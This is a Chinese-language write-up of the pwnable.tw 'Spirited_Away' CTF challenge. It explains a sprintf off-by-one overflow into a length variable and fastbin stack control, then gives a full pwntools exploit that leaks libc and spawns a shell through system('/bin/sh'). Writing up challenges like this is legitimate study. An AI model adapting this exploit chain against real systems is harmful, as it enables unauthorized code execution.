比较老套的栈溢出,但是配合上heap漏洞给题目增添了不少光彩。
原题地址:https://pwnable.tw/challenge/ 。
该题的栈环境需要依赖glibc,可以去原题地址进行下载,下面的打包文件也会附带题目的libc。
源程序下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/pwnable_tw/Spirited_Away 。
目录
溢出点
int survey()
{
...
read(0, v7, v3);
fflush(stdout);
printf("Please enter your comment: ");
fflush(stdout);
read(0, buf, nbytes);
++cnt;
printf("Name: %s\n", malloc_ptr);
printf("Age: %d\n", v5);
printf("Reason: %s\n", v7);
使用的是read
函数,没有NULL
截断,可以泄露栈信息。
int survey()
{
char output[56]; // [esp+10h] [ebp-E8h]
size_t nbytes; // [esp+48h] [ebp-B0h]
size_t v3; // [esp+4Ch] [ebp-ACh]
char buf[80]; // [esp+50h] [ebp-A8h]
int v5; // [esp+A0h] [ebp-58h]
void *malloc_ptr; // [esp+A4h] [ebp-54h]
char v7[80]; // [esp+A8h] [ebp-50h]
...
sprintf(output, "%d comment so far. We will review them as soon as we can", cnt);
通过计算字符串长度发现,其长度为54
>>> len(' comment so far. We will review them as soon as we can')
54
所以我们只要让cnt
变成三位数,就可将末尾字符n
溢出到变量nbytes
上,从而使得malloc_ptr
变得可控。
思路
- 泄露信息
- 读取溢出,控制malloc_ptr
- 利用fastbin控制栈
利用fastbin控制栈
虽然我们可以利用溢出点进行溢出,但是并不能直接溢出到函数的ebp
上,所以我们将利用fastbin来增长可以溢出的长度。
在栈上伪造一个chunk,然后把malloc_ptr
指向该chunk,则再一次拿出来的时候便可以利用该chunk
溢出到ebp
那里。
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)
# context.arch = "amd64"
context.arch = "i386"
# context.log_level = 'debug'
execve_file = './spirited_away'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10204)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
# b *0x80486F8
b *0x8048771
b free
b malloc
c
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
sh.sendafter('Please enter your name: ', 'aaaa')
sh.sendafter('Please enter your age: ', '1\n')
sh.sendafter('Why did you came to see this movie? ', 'c' * 56)
sh.sendafter('Please enter your comment: ', 'dddd')
sh.recvuntil('c' * 56)
stack_addr = u32(sh.recvn(4))
log.success('stack_addr: ' + hex(stack_addr))
sh.recvn(4)
libc_addr = u32(sh.recvn(4)) - libc.symbols['fflush'] - 11
log.success('libc_addr: ' + hex(libc_addr))
sh.sendafter('Would you like to leave another comment? <y/n>: ', 'y')
for i in range(9):
sh.sendafter('Please enter your name: ', 'a\0')
sh.sendafter('Please enter your age: ', '1\n')
sh.sendafter('Why did you came to see this movie? ', 'c\0')
sh.sendafter('Please enter your comment: ', 'd\0')
sh.sendafter('Would you like to leave another comment? <y/n>: ', 'y')
for i in range(90):
sh.sendafter('Please enter your age: ', '1\n')
sh.sendafter('Why did you came to see this movie? ', 'c\0')
sh.sendafter('Would you like to leave another comment? <y/n>: ', 'y')
sh.sendafter('Please enter your name: ', 'a\0')
sh.sendafter('Please enter your age: ', '1\n')
sh.sendafter('Why did you came to see this movie? ', 'g' * 8 + p32(0) + p32(0x41) + 'f' * 0x38 + p32(0) + p32(0x11))
sh.sendafter('Please enter your comment: ', 'e' * 72 + p32(0) + p32(0) + p32(1) + p32(stack_addr - 0x60))
sh.sendafter('Would you like to leave another comment? <y/n>: ', 'y')
layout1 = [
0, # ebp
libc_addr + libc.symbols['system'],
libc_addr + libc.symbols['exit'],
libc_addr + libc.search('/bin/sh\0').next(),
]
sh.sendafter('Please enter your name: ', 'z' * 64 + flat(layout1))
sh.sendafter('Please enter your age: ', '1\n')
sh.sendafter('Why did you came to see this movie? ', 'c\0')
sh.sendafter('Please enter your comment: ', 'd\0')
sh.sendafter('Would you like to leave another comment? <y/n>: ', 'n')
sh.interactive()
clear()